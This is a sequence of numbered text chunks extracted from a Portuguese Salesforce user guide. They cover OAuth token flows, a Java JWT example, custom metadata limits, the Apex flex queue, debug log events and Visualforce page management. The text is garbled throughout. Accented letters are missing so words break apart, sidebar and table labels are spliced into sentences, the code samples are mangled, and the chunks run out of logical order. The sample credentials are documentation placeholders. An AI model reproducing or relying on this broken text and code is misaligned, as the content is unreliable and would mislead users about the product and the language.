461. plication json application html retorna XML e Opar metro format tem preced ncia sobre o cabe alho da solicita o de aceita o O Salesforce responde com um token de acesso Ap s a verifica o da solicita o o Salesforce envia uma resposta para o cliente Os seguintes par metros est o no corpo da resposta e chave de acesso 0 ID de sess o do Salesforce que pode ser usado com a API de servi os da Web e token type Ovalor Portador para todas as respostas que incluem um token de acesso e id token vValor do Salesforce em conformidade com as especifica es do OpenID Connect Isso s retornado se o par metro de escopo incluiopenid e chave de atualiza o Chave que pode ser usada no futuro para obter novas chaves de acesso sess es Este valor secreto Voc deve trat lo como a senha do usu rio e usar medidas apropriadas para proteg lo Esse par metro retornado somente se o seu aplicativo conectado for configurado com um escopo de pelo menos refresh token e instance url URL que indica a inst ncia da organiza o do usu rio Neste exemplo a inst ncia nal https nal salesforce com Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 218 e id URLde identidade que pode ser usado para identificar o usu rio e tamb m para consulta de mais informa es sobre o usu rio Veja os URLs de identidade na p gina 230 e sfdc commun
462. po ap s a primeira solicita o de leitura Isso aprimora o desempenho em solicita es subsequentes Solicita es que est o em andamento quando os metadados s o atualizados n o obter o os metadad os mais recentes Limites de metadados personalizados Observe estes requisitos para tipos e registros de metadados personalizados EDICOES Descri o Consultas SOQL por transa o Apex Metadados personalizados por organiza o Metadados personalizados por pacote gerenciado certificado Quantidade m xima Dispon vel em Salesforce Ilimitado Classic 10 MB Dispon vel em Edi es Enterprise Performance 10 MB Unlimited Developer e Database com Nota Registros de metadados personalizados em pacotes gerenciados certificados que voc instalou n o contam para o limite da organiza o No entanto registros de metadados personalizados que voc cria contam para o limite Essa regra se aplica independentemente de voc criar registros em seu pr prio tipo de metadados personalizados ou em um tipo a partir de um pacote gerenciado certificado Aprimorar o Salesforce com c digo Descri o Campos por tipo ou registro de metadados personalizados Tipos de metadados personalizados por organiza o Caracteres por campo de descri o Registros retornados por transa o Tipos de metadados personalizados em uma nica chamada Guia do usu rio Integra o de aplicativos com o Salesforce 246
463. pon vel em Salesforce Classic Dispon vel em Edi es Professional Enterprise Performance Unlimited Developer e Database com As organiza es da Professional Edition podem acessar apenas campos de metadados personalizados a partir de tipos de metadados personalizados instalados As informa es comuns a todos os metadados personalizados s o representadas como campos padr o Para mais informa es consulte Tipo de metadados personalizados mdt na Refer ncia de objetos para Salesforce e Force com O demonstrativo do Apex a seguir no namespace pick1ist 1234 recupera o r tulo e o namespace dos metadados personalizados representados na API de metadados baseados em arquivo como picklist1234 ReusablePicklistOption travelApp1234 Mote16 Este demonstrativo atribui o objeto a vari vel motelEx ReusablePicklistOption mdt motelEx SELECT MasterLabel NamespacePrefix FROM ReusablePicklistOption WHERE mdt NamespacePrefix travelApp1234 AND DeveloperName Motel6 Nota Os assinantes podem executar Apex code empacotado que consulta tipos de metadados personalizados no mesmo pacote No entanto os assinantes n o podem consultar tipos protegidos em um pacote instalado usando Apex code que eles escreveram Empacotar tipos e registros de metadados personalizados poss vel empacotar tipos e registros de metadados personalizados em pacotes n o gerenciados pacotes gerenciados
464. pon vel em Salesforce os recursos do sistema ficam dispon veis os trabalhos s o pegos a partir do in cio da fila flex vel do Classic e Lightning Apex e movidos para a fila de trabalhos em lote At cinco t processados simultaneamente para cada organiza o Quando um trabalho movido para fora da fila flex vel para processamento seu status muda de Espera executados quando o sistema estiver pronto para processar novos trabalhos rabalhos em fila ou ativos podem ser Experience Dispon vel em Enterprise Performance Unlimited Developer e Database com para Em fila Os trabalhos em fila ser o poss vel reordenar trabalhos na fila flex vel do Apex para priorizar trabalhos Por exemplo poss vel Editions mover um trabalho em lote para a primeira posi o na fila de espera para que ele seja o primeiro a ser processado quando recursos forem disponibilizados Caso contr rio os trabalhos s o processados segundo a regra o primeiro a entrar o primeiro a sair na ordem em que foram enviados Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 65 Monitorando e reordenando a fila flex vel do Apex A p gina Fila flex vel do Apex lista todos os trabalhos em lote com status Espera poss vel exibir informa es sobre o trabalho como o ID do trabalho a data de envio e a classe do Apex Por padr o os trabalhos s o numerados na ordem de envio come ando pela pos
465. prise Performance e Unlimited PERMISS ES DO USU RIO Para criar ler atualizar e excluir e Modificar todos os dados do dominio de segundo nivel Por exemplo https example com adiciona todos os subdom nios de example com lista de aprovados O padr o de URL da origem pode ser um endere o IP No entanto um endere o IP e um dom nio que s o resolvidos como o mesmo endere o n o s o a mesma origem e necess rio adicion los a lista de aprovados do CORS como entradas separadas O Importante Ainda necess rio passar um token OAuth com as solicita es que o requerem Modelos de link de a o Crie modelos de link de a o em Configura o para poder instanciar grupos de links de a o com propriedades em comum a partir da API REST do Chatter ou Apex poss vel empacotar modelos e distribu los a outras organiza es Salesforce O link de a o um bot o em um elemento do feed O clique em um link de a o pode levar o usu rio a uma p gina da Web iniciar o download de um arquivo ou fazer uma chamada de API para o Salesforce ou um servidor externo O link de a o inclui um URL e um m todo HTTP e pode incluir informa es de corpo e cabe alho de solicita o como um token do OAuth para autentica o Use links de a o para integrar o Salesforce e servi os de terceiros ao feed para que os usu rios possam realizar a es para impulsionar a produtividade e acelerar a inova
466. processos e paginas do Visualforce permitem usar campos de mesclagem especiais para referenciar os dados na sua organiza o A disponibilidade de cada vari vel global depende dos requisitos de experi ncia e edi o para o recurso Use as seguintes vari veis globais ao escolher um tipo campo de mesclagem para adicionar ao relacionado componente personalizado Nota Somente usu rio organiza o e campos de mesclagem de API s o suportados nas guias da Web PERMISS ES DO Action USUARIO Descri o Um tipo de campo de mesclagem global a ser usado para fazer refer ncia a Para criar a gan a es padr o do Salesforce como exibir a home page da guia Contas criar custom s conirols f rmulas ou p ginas do Visualforce novas contas bem como editar e excluir contas Use os campos de mesclagem i er A one e Personalizar aplicativo de a es nas fun es LINKTO e URLFOR para fazer refer ncia a o selecionada Para editar fluxos e processos Use 1 Selecione o tipo de dados Action e Gerenciar fluxo do Force com 2 Insira um campo de mesclagem no formato SAction object action como SAction Account New Aprimorar o Salesforce com c digo Exemplo de s control Exemplos do Visualforce Dicas Guia do usu rio Componentes do Lightning Apex Visualforce 21 O s control a seguir faz refer ncia a o padr o usada para criar novas contas no campo de mesclagem SAction Account New
467. pura o sempre que uma transa o existente nos crit rios de filtro definidos executada As transa es podem ser geradas pelo seguinte e Interface do usu rio do Salesforce e API e Chamadas do executeanonymous e Servi os da Web e Servi os de email Os crit rios do filtro definidos para o usu rio o cabe alho do Console do Desenvolvedor ou da API determinam o que est inclu do no registro de depura o Nota Os registros de depura o n o incluem as transa es acionadas por convers o de lead Por exemplo suponha que um lead convertido acione uma regra de fluxo de trabalho O registro de depura o n o mostrar que essa regra de fluxo de trabalho foi acionada Confira exemplos de quando usar o registro de depura o a seguir e Como um desenvolvedor criando um aplicativo personalizado voc pode usar o registro de depura o para validar o comportamento do aplicativo Por exemplo poss vel definir o filtro do registro de depura o para procurar por callouts e no registro de depura o exibir informa es sobre o sucesso e a dura o destes callouts e Como administrador de uma organiza o voc pode usar o registro de depura o para solucionar problemas quando um usu rio relata dificuldades poss vel monitorar os registros de depura o para o usu rio enquanto eles passam pela transa o relacionada e ent o usar o registro de depura o para exibir os detalhes do sistema Limites do
468. qT2FcDyjY3dVOb En CSj H2WV7Z1UwsKHgGfI 7hzeEvVd 0jH9NuaJozxvhPF48 9IgW6cntPuT2V647IWilng O c digo Java a seguir um exemplo simples da constru o de um token portador JWT import org apache commons codec binary Base64 import java io import java security import java text MessageFormat public class JWTExample public static void main String args String header alg RS256 String claimTemplate iss O sub 1 Nau 2 exp ELS PATER fora try StringBuffer token new StringBuffer Encode the JWT Header and add it to our string to sign token append Base64 encodeBase64URLSafeString header getBytes UTF 8 Separate with a period token append Create the JWT Claims Object String claimArray new String 4 claimArray 0 3MVG990xT yYEMCO3gNp2 Pj kqeZKxnmAiG1xV4oHh9AKL rSK BoSVPGZHQukXnV5 zRgSuQqGn75NL7yfkOcyy7 claimArray 1 my email com Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 209 claimArray 2 https login salesforce com claimArray 3 Long toString System currentTimeMillis 1000 300 MessageFormat claims claims new MessageFormat claimTemplate String payload claims format claimArray Add the encoded claims object token append Base64 encodeBase64URLSafeString payload getBytes UTF 8
469. que no bot o Recolher para recolher o painel de rodap do modo de desenvolvimento Clique no bot o Expandir para abri lo novamente Guia do usu rio Componentes do Lightning Apex Visualforce 71 Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 72 Clique no bot o Desativar modo de desenvolvimento O para desligar o modo de desenvolvimento totalmente O modo de desenvolvimento permanece desativado at que voc o ative novamente a partir da p gina de informa es pessoais nas configura es pessoais Gerenciando p ginas do Visualforce Depois de criar p ginas do Visualforce voc poder personaliz las edit las e exclu las Em Configura o insira P ginas do Visualforce nacaixa Busca r pida e selecione P ginas do Visualforce para exibir a p gina Lista de p ginas que mostra todas as p ginas do Visualforce definidas para a sua organiza o Na p gina de lista P ginas poss vel e Clicar em Novo para definir uma nova p gina do Visualforce e Clicar em um nome de p gina para exibir informa es detalhadas sobre a p gina incluindo o r tulo e a marca o do Visualforce e Clicar em Editar ao lado de um nome de p gina para modificar a marca o do Visualforce o r tulo ou o nome de p gina Nota Um cone gt indica que uma p gina do Visualforce est em um pacote gerenciado instalado Voc n o pode editar nem excluir uma p gi
470. r String 2013 0 03 11 Expressions 0 38 20 J Internal 1 26 66 Aprimorar o Salesforce com c digo Guia do usu rio Registros de depura o 271 A guia Estado de exibi o no Console do desenvolvedor funciona da mesma forma que a guia Estado de exibi o no rodap do Modo de desenvolvimento do Visualforce exceto que clicar duas vezes no n da pasta n o abre uma janela de gr fico de pizza do uso Consulte Sobre a guia Estado de exibi o no Guia do desenvolvedor do Visualforce para obter mais detalhes Ativando a guia Estado de exibi o Para ativar a guia Estado de exibi o 1 Em suas configura es pessoais insira Detalhes avan ados do usu rio nacaixa Busca r pida eselecione Detalhes avan ados do usu rio Nenhum resultado Insira Informa es pessoais nacaixa Busca r pida eselecione Informa es pessoais Clique em Edit Editar Selecione a caixa de sele o Modo de desenvolvimento se n o estiver selecionada 2 3 4 Selecione a caixa de sele o Mostrar estado do modo de exibi o no modo de desenvolvimento 5 Clique em Save Salvar Nota Visto que o estado de exibi o est ligado aos dados de formul rio a guia Estado de exibi o aparece apenas se sua p gina contiver uma marca lt apex form gt Al m disso a guia Estado de exibi o exibida apenas em p ginas que usam controladores personalizados ou extens es de controlador Registros de depura o Usand
471. r a partir da defini o do aplicativo conectado e username Nome do usu rio final e password Senha do usu rio final Nota Ao usar o fluxo nome de usu rio senha com a API certifique se de criar um campo na tela de login do nome de usu rio e senha onde os usu rios possam especificar a chave de seguran a A chave de seguran a uma chave gerada automaticamente que deve ser adicionada ao final da senha para efetuar login no Salesforce em uma rede n o confi vel preciso concatenar a senha e a chama ao transmitir a solicita o para autentica o e formato Formato de retorno esperado Esse par metro opcional O padr o j son Os valores s o urlencoded json xml A seguir ha um exemplo do corpo do POST fora de banda grant type password amp client id 3MVG91KcPoONINVBIPJjdw1lJ9LLM82Hn FVVX19KY1uA5mu0QgEWhqKpowW3 svG3XHrxDiCQj KimdgAvhCscA9GE amp client secret 1955279925675241571 amp username testusers40salesforce com amp password mypassword Enviar resposta Ap s a verifica o da solicita o o Salesforce envia uma resposta para o cliente Os seguintes par metros est o no corpo da resposta e chave de acesso O ID de sess o do Salesforce que pode ser usado com a API de servi os da Web Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o token type Ovalor Portador para todas as respostas que incluem um token de acesso instance
472. r em Clonar para criar uma c pia da p gina Voc deve especificar um novo nome para a nova p gina Clicar em Onde usado a para exibir uma lista de todas as refer ncias p gina em sua organiza o PERMISS ES DO Clique em Mostrar depend ncias para exibir os itens como campos objetos ou outras classes USU RIO que devem existir para que esta classe seja v lida Clique em Visualizar para abrir a p gina em uma nova janela Para clonar editar ou excluir a marca o do Visualforce Nota Se a pagina do Visualforce estiver contida em um pacote gerenciado instalado voc e Personalizar aplicativo s poder visualizar a p gina Voc n o poder edit la exclu la nem clon la Para editar controladores Se a p gina do Visualforce estiver contida em um pacote gerenciado instalado 0 Pacote personalizados do instalado indicar o nome do pacote O campo Dispon vel nos pacotes das Visualforce vers es apresenta a s rie de vers es de pacote na qual a p gina do Visualforce est dispon vel Apex do autor O primeiro n mero de vers o do intervalo a primeira vers o do pacote instalado que cont m a p gina do Visualforce Exibindo e editando p ginas do Visualforce com o modo de desenvolvimento ativado Com o modo de desenvolvimento ativado tamb m poss vel navegar at o URL da p gina para exibir e editar o conte do de uma pagina Se uma p gina for nomeada de OlaMundo e a inst nci
473. r ou excluir contas usam as configura es de autentica o de terceiros na credencial nomeada Para a credencial nomeada voc especifica uma Entidade de seguran a nomeada que pode ser uma conta no sistema de terceiros ou uma autoriza o do OAuth referente a um provedor de autentica o existente na sua organiza o O Assistente de provisionamento de usu rios solicita essa credencial nomeada Um fluxo criado com o Flow Designer Os fluxos gerenciam as solicita es de provisionamento para o sistema de terceiros O Salesforce fornece v rios pacotes que cont m fluxos pr configurados para simplificar o processo de configura o de provisionamento de usu rios em breve Voc associa um desses fluxos ao aplicativo conectado usando o Assistente de provisionamento de usu rios Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 191 Al m disso voc pode criar seu pr prio fluxo Para obter mais informa es consulte Criar seu pr prio fluxo de provisionamento de usu rios Se o provisionamento de usu rios estiver ativado use as etapas a seguir para iniciar o Assistente de provisionamento de usu rios para um aplicativo conectado existente 1 Em Configura o insira Aplicativos conectados nacaixa Busca r pida e selecione a op o de gerenciamento de aplicativos conectados Clique no nome do aplicativo conectado Na p gina de detalhes Aplicativo conectado clique em Ed
474. ra definir editar excluir definir a seguran a definir Um cone 2 indica que uma classe do Apex foi lan ada em um pacote gerenciado as configura es da vers o As classes do Apex em pacotes t m considera es especiais mostrar depend ncias e executar testes de classes Um cone p indica que uma classe do Apex est em um pacote gerenciado instalado ae do Apex Voc n o pode editar nem excluir uma classe em um pacote gerenciado e Apex do autor Um cone indica que uma classe Apex em um pacote gerenciado previamente liberado ser exclu da ao carregar o pr ximo pacote Voc pode optar por desfazer a exclus o da classe Apex por meio da p gina de detalhe do pacote Voc s pode adicionar editar ou excluir o Apex usando a interface do usu rio do Salesforce em uma organiza o Developer Edition uma organiza o de avalia o Enterprise Edition do Salesforce ou uma organiza o sandbox Em uma organiza o de produ o do Salesforce voc s pode fazer altera es no Apex usando a chamada da API de metadados deploy o Force com IDE ou a Force com Migration Tool O Force com IDE e o Force com Migration Tool s o recursos gratuitos fornecidos pelo Salesforce para auxiliar seus usu rios e parceiros mas n o s o considerados parte de nossos Servi os dentro do escopo do Contrato de assinatura mestre do Salesforce e Clicar em Excluir para excluir a classe Nota Voc n o pode excluir
475. rabalhos em lote de rec lculo de compartilhamento atualmente est o dispon veis por meio de um programa de lan amento limitado Para obter informa es sobre como habilitar os trabalhos em lote de rec lculo de compartilhamento do Apex para sua organiza o entre em contato com Salesforce Essa tabela lista todos os valores poss veis de status do trabalho A coluna Status lista o status atual do trabalho Os valores poss veis s o Status Descri o Em fila O trabalho est aguardando execu o Prepara o O m todo start da tarefa foi chamado Esse status pode durar alguns minutos dependendo do tamanho do lote de registros Aprimorar o Salesforce com c digo Status Processando Anulado Conclu do Falha Os trabalhos do Apex em lote tamb m podem ter o status 1 a fila flex vel do Apex Se um ou mais erros ocorrerem durante o processamento do Guia do usu rio Componentes do Lightning Apex Visualforce 64 Descri o O trabalho est sendo processado O trabalho foi anulado por um usu rio Trabalho conclu do com ou sem falhas O trabalho apresentou uma falha no sistema Em espera quando est o na fila flex vel do Apex Consulte Monitorando lote a coluna Detalhes do status exibir uma descri o resumida do primeiro erro Uma descri o mais detalhada do erro juntamente com os erros subsequentes enviada por email ao usu rio que iniciou a classe de lotes em execu o Para exibir uma l
476. ram instanciados dos modelos Os grupos de links de a o exclu dos desaparecem dos elementos de feed aos quais foram associados 1 Em Configura o insira Modelos de link de a o nacaixa Busca r pida e selecione Modelos de link de a o 2 Para excluir um modelo de grupo de links de a o clique em Del ao lado de seu nome O Importante Quando voc exclui um modelo de grupo de links de a o exclui os modelos de links de a o associados e todos os grupos de links de a o que foram instanciados do modelo O grupo de links de a o exclu do dos elementos de feed aos quais foi associado o que significa que os links de a o desaparecem dessas publica es no feed 3 Para excluir um modelo de links de a o a Clique no nome do modelo de grupo de links de a o b Clique no ID do modelo de link de a o para abrir a p gina de detalhes do modelo c Clique em Excluir O Importante N o poss vel excluir um modelo de links de a o que est associado a um modelo de grupo de links de a o publicado EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Todas as edi es exceto Personal Edition PERMISS ES DO USU RIO Para excluir modelos de grupo de links de a o e Personalizar aplicativo Para excluir modelos de links de a o e Personalizar aplicativo Aprimorar o Salesforce com c digo Empacotamento de modelos de link de a o
477. rce INFORMA ES e acima VF DESERIALIZE VIEWSTATE END enhum Visualforce INFORMA ES e acima VF EVALUATE FORMULA BEGIN D do estado de exibi o e f rmula Visualforce MAIS EXATO e acima VF EVALUATE FORMULA END enhum Visualforce MAIS EXATO e acima Aprimorar o Salesforce com c digo Nome do evento VE PAGE MESSAGE VF SERIALIZE VIEWSTATE BEGIN VF SERIALIZE VIEWSTATE END WE ACTION WE ACTION TASK WE ACTIONS END WE APPROVAL WE APPROVAL REMOVE WE APPROVAL SUBMIT WF_ASSIGN WF_CRITERIA_BEGIN WE CRITERIA END x WE EMAIL ALERT WE ENQUEUE ACTIONS WE ESCALATION ACTION WE ESCALATION RULE WF EVAL ENTRY CRITERIA Guia do usu rio Registros de depura o 286 Campos ou informa es registradas com o evento Texto da mensagem D do estado de exibi o enhum Descri o da a o Assunto da tarefa ID da a o regra propriet rio e data de conclus o Resumo das a es executadas Tipo de transi o EntityName Id de NameField e nome do n do processo EntityName Id de NameField EntityName Id de NameField Propriet rio e ID do modelo do encarregado EntityName Id de NameField nome da regra ID da regra e tipo de acionador se a regra respeita os tipos de acionador Valor booleano indicando sucesso verdadeiro
478. rder Limits Timeline NNE What Name Sum Avg Max Min Count Heap Query Type Sumrows Avgrows Maxrows Minrow Method size 0 40 0 08 0 11 0 06 5 o n a n a n a n a n a a Method debug 0 72 0 09 0 13 0 08 8 0 n a n a n a n a n a Method execute 36 92 36 92 36 92 36 92 1 2534 n a n a n a n a n a a Method uifcom 36 98 36 98 36 98 36 98 1 0 n a n a n a n a n a Method add 0 49 0 12 0 15 0 09 4 0 nja n a n a n a n a Show Methods Queries Workflow Callouts DML Validations Triggers Pages Clique na guia Limites para verificar os limites aplic veis e a proximidade da sua solicita o em rela o ao limite aplic vel A coluna Total dispon vel mostra os limites do controlador para a sua organiza o por tipo de opera o A coluna Solicitar total mostra o n mero total de solicita es realizadas A coluna Usado at mostra o n mero de solicita es consumidas no ponto de execu o selecionado no registro de execu o ou rastreamento de pilha Clique em Cronograma para ver um gr fico das unidades de c digo executadas divididas pelo tipo de unidade de c digo al m do total e da porcentagem do tempo de execu o para cada tipo de unidade de c digo O cronograma permite que voc localize rapidamente quais partes da solicita o demoraram mais Selecione um intervalo de tempo na parte inferior da se o do resumo para aumentar ou diminuir o per odo exibido no cronograma Guia do usu rio Depura
479. re calls Number of find similar calls Number of System runAs invocations METHOD ENTRY mero da linha o ID de Force com da classe e a C digo do CORRETO e assinatura do m todo Apex acima METHOD EXIT mero da linha o ID do Force com da classe e a C digo do CORRETO e assinatura do m todo Apex acima Para construtores as seguintes informa es s o registradas N mero de linha e nome da classe POP TRACE FLAGS mero da linha o ID do Force com da classe ou do Sistema INFORMA ES acionador que tem seus n veis de registro definidos e acima e que est entrando no escopo o nome dessa classe ou acionador e as configura es de n vel de registro em vigor no momento ap s a sa da desse escopo PUSH NOTIFICATION INVALID APP Namespace do aplicativo nome do aplicativo C digo do ERRO Esse evento ocorre quando o Apex code est tentando Apex enviar uma notifica o para um aplicativo que n o existe na organiza o ou n o est ativado para push E PUSH NOTIFICATION INVALID CERTIFICATE Namespace do aplicativo nome do aplicativo C digo do ERRO Este evento indica que o certificado inv lido Por Apex exemplo expirou PUSH NOTIFICATION INVALID NOTIFICATION Namespace e nome do aplicativo tipo de servi o C digo do ERRO Apple ou Android GCM ID do usu rio dispositivo Apex carga substring comprimento da carga Esse evento ocorre quando uma carga de no
480. redo do consumidor Voc tamb m pode usar desafio de c digo e valores de verificador no fluxo para evitar a intercepta o do c digo de autoriza o As descri es de etapa individual est o a seguir EDI ES Dispon vel em Salesforce Classic Dispon vel em todas as edi es PERMISS ES DO USU RIO Para gerenciar criar editar e excluir aplicativos OAuth e Gerenciar aplicativos conectados Aprimorar o Salesforce com c digo a IN 5 O servidor Web redireciona o usu rio para o Salesforce para autenticar e autorizar o servidor para acessar dados em seu nome Depois que o usu rio aprova o acesso o servidor Web recebe um callback com um c digo de autoriza o Depois de obter o c digo de autoriza o o servidor da Web retorna o c digo de autoriza o para obter uma resposta de token Ap s a valida o do c digo de autoriza o o Salesforce informa novamente uma resposta de token Se n o houver um erro a resposta de token incluir um c digo de acesso e informa es adicionais Ap s a concess o do token o servidor da Web acessa seus dados O servidor da Web pode usar o token de acesso que tem em m os para acessar os dados do Salesforce em nome do usu rio final e usar um token de atualiza o para obter um novo token de acesso se tornar se inv lido por qualquer motivo Redirecionar usu rio para obter autoriza o de acesso Para obter autoriza o do usu rio para acess
481. rentes pol ticas de seguran a e tenham controle expl cito sobre quem pode usar os aplicativos correspondentes Todos os aplicativos conectados foram integrados ao Salesforce Dessa forma eles poder o acessar um subconjunto de dados do Salesforce assim que voc conceder explicitamente cada permiss o de aplicativo Todos os aplicativos conectados que t m permiss o para acessar os dados do Salesforce s o listados nas suas informa es pessoais 1 Em suas configura es pessoais insira Detalhes avan ados do usu rio nacaixa Busca r pida e selecione Detalhes avan ados do usu rio Nenhum resultado Insira Informa es pessoais nacaixa Busca r pida eselecione Informa es pessoais 2 Nase o Aplicativos conectados do OAuth voc pode e Exibir informa es sobre cada aplicativo ao qual voc deu acesso al m do n mero de vezes e da ltima vez que o aplicativo tentou acessar suas informa es EDI ES Dispon vel em Salesforce Classic Dispon vel em todas as edi es O Salesforce Classic Mobile n o est dispon vel em Database com PERMISS ES DO USU RIO Para gerenciar criar editar e excluir aplicativos OAuth e Gerenciar aplicativos conectados Aprimorar o Salesforce com c digo Guia do usu rio Integra o de aplicativos com o Salesforce 183 Nota Um aplicativo pode estar listado mais de uma vez Cada vez que voc conceder acesso a um aplicativo ele obt m um
482. rganiza o Veja a seguir alguns dos componentes do pacote Aplicativos Salesforce1 e Chatter Para gerenciar esses aplicativos conectados instalados em Configura o insira Aplicativos conectados na caixa Busca r pida e selecione a op o para gerenciar os aplicativos conectados Voc ver os aplicativos conectados do Salesforce instalados automaticamente aparecerem na lista como aplicativos instalados do pacote gerenciado juntamente com outros aplicativos conectados instalados CONSULTE TAMB M Provisionamento de usu rios para aplicativos conectados Editar um aplicativo conectado PERMISS ES DO USU RIO Para ler Personalizar aplicativo Para criar atualizar ou excluir Personalizar aplicativo E Modificar todos os dados OU Gerenciar aplicativos conectados Para atualizar todos os campos com exce o de Perfis Conjuntos de permiss es e Atributos de SAML do provedor de servi os Personalizar aplicativo Para atualizar Perfis Conjuntos de Personalizar aplicativo E Modificar todos permiss es e Atributos de SAML do provedor os dados de servi os Para desinstalar Fazer download de pacotes do AppExchange poss vel modificar as configura es e as permiss es para um aplicativo conectado EDI ES Dispon vel em Salesforce Classic e Lightning Experience Aplicativos conectados podem ser criados em Edi es Group Professional Enterprise Per
483. ri es de seguran a no n vel do campo n o ser o respeitadas durante a execu o O comportamento padr o que a classe do Apex tenha a capacidade de ler e atualizar todos os dados da organiza o Como essas regras n o s o obrigat rias os desenvolvedores que usam o Apex devem tomar cuidado para n o expor sem inten o Aprimorar o Salesforce com c digo Guia do usu rio Componentes do Lightning Apex Visualforce 104 dados confidenciais que normalmente estariam escondidos dos usu rios por permiss es do usu rio seguran a em n vel de campo ou padr es da organiza o inteira Isso particularmente verdade para as p ginas do Visualforce Por exemplo veja o seguinte pseudo c digo do Apex public class customController public void read Contact contact SELECT id FROM Contact WHERE Name value Neste caso s o pesquisados todos os registros de contato mesmo se o usu rio que estiver logado no momento normalmente n o tivesse permiss o para visualiz los A solu o usar as palavras chave de qualifica o with sharing ao declarar a classe public with sharing class customController A palavra chave with sharing direciona a plataforma para usar permiss es de compartilhamento de seguran a do usu rio que est logado no momento e n o conceder acesso total a todos os registros Servi os de email O que s o servi os de email Os servi os de email s o processos automatizados qu
484. ring que identifica exclusivamente um usu rio e tamb m uma API RESTful que pode ser usada para consultar com uma chave de acesso v lida informa es adicionais sobre o usu rio O Salesforce retorna informa es b sicas de personaliza o sobre o usu rio al m de pontos finais importantes com os quais o cliente pode falar como fotos do usu rio e pontos finais da API que ele pode acessar O acesso do cliente ao URL de identidade referente a um usu rio em uma organiza o n o fornece acesso ao URL de identidade para outro usu rio na mesma organiza o a menos que o token associado preencha todas as condi es a seguir e A solicita o de OAuth referente ao token de acesso incluiu o acesso completo ou api e Otoken de acesso para um usu rio com a permiss o API ativada e Otoken de acesso para um usu rio que tem acesso ao outro usu rio de acordo com as regras de Compartilhamento de usu rios da organiza o e Otoken de acesso para um usu rio interno ou seja o valor de user type na resposta STANDARD Do contr rio necess rio ter um token de acesso para cada usu rio para exibir o URL de identidade Guia do usu rio Integra o de aplicativos com o Salesforce 230 EDI ES Dispon vel em Salesforce Classic Dispon vel em todas as edi es PERMISS ES DO USU RIO Para gerenciar criar editar e excluir aplicativos OAuth e Gerenciar aplicativos conectados
485. rmar se voc est se aproximando dos limites do controlador 1 2 No painel rvore de pilha procure o nome da p gina Visualforce O nivel superior tem o formato apex pagename O primeiro n abaixo dele mostra a execu o real da p gina Abra o n para exibir quando o controlador foi inicializado Proceda para abrir n s para explorar a chamada de m todos e quanto tempo cada m todo demorou Quando voc clica em um item no painel da rvore de pilha o painel Registro de execu o exibe essa parte do registro de depura o o painel Source Origem atualizado para exibir o c digo fonte adequado e o painel Vari veis mostra as vari veis do contexto No painel Vis o geral da execu o clique na guia Unidades executadas para exibir as estat sticas do seu c digo que inclui o tempo de execu o em milissegundos e o tamanho do heap em bytes A coluna Cnt mostra o n mero de vezes que uma determinada unidade de c digo foi executada Se uma unidade de c digo foi executada mais de uma vez a soma m dia tempos m ximo e m nimo de execu o s o atualizados Da mesma forma se uma consulta executada mais de uma vez a exibi o atualizada para resumir os n meros agregados de linhas retornadas Voc pode filtrar unidades de c digo ao clicar em bot es na parte inferior que corresponda s unidades de c digos que voc deseja omitir na exibi o Monitorando DML em uma solicita o explica como fazer isso Save O
486. rmato https mySalesforceInstance apex nameOfNewPage onde o valor de mySalesforceInstance onome do host de sua inst ncia do Salesforce por exemplo na3 salesforce com eo valor de nameOfNewPage o valor que voc deseja dar ao campo Nome em sua defini o de p gina Por exemplo se voc quiser criar uma p gina chamada OlaMundo e sua organiza o do Salesforce usar a inst ncia na3 salesforce com digite https na3 salesforce com apex OlaMundo Nota Os nomes de p ginas n o podem ser superiores a 40 caracteres Como a p gina ainda n o existe voc ser direcionado a uma p gina intermedi ria de onde poder criar sua nova p gina Clique em Criar p gina nomedanovap gina gt para criar a nova p gina O Nome eo R tulo da p gina recebem o valor nomedanovap gina especificado no URL Para criar p ginas em Configura o 1 2 Guia do usu rio Componentes do Lightning Apex Visualforce 68 EDI ES Dispon vel em Salesforce Classic e Lightning Experience Dispon vel em Edi es Contact Manager Group Professional Enterprise Performance Unlimited e Developer PERMISS ES DO USU RIO Para criar editar e definir as configura es da vers o para p ginas do Visualforce e Personalizar aplicativo Em Configura o insira P ginas do Visualforce nacaixa Busca r pida e selecione P ginas do Visualforce Clique em Novo Na caixa de texto Nome digite o texto
487. rocesso Web to Case ou Web to Lead alterar um registro o usu rio atual ser o Propriet rio padr o do lead ou Propriet rio padr o do caso e Quando um processo executa a es agendadas e o usu rio que o iniciou n o est mais ativo SUser refere se ao usu rio do fluxo de trabalho padr o O mesmo vale para a es baseadas em tempo em regras de fluxo de trabalho e Alguns dos campos de mesclagem User podem ser usados em filtros de configura o m veis User UlTheme SUser UIlThemeDisplayed Descri o Use Exemplos do Visualforce Estes campos de mesclagem global identificam como o usu rio visualiza o Salesforce em uma determinada p gina da Web A diferen a entre as duas vari veis que SUser UI Theme retorna a apar ncia que o usu rio deveria ver enquanto SUser UIThemeDisplayed retorna a apar ncia que o usu rio realmente v Por exemplo um usu rio pode ter permiss es para visualizar a apar ncia do novo tema da interface do usu rio por m se ele estiver usando um navegador sem suporte a essa apar ncia por exemplo vers es mais antigas do Internet Explorer SUser UIThemeDi splayed retornar um valor diferente Use estas vari veis para identificar o CSS usado para gerar p ginas da Web do Salesforce para um usu rio As duas vari veis retornam um dos valores a seguir e Themel Tema obsoleto do Salesforce e Theme2 Tema do Salesforce usado antes do Spring 10 e Theme3 Tema cl ssi
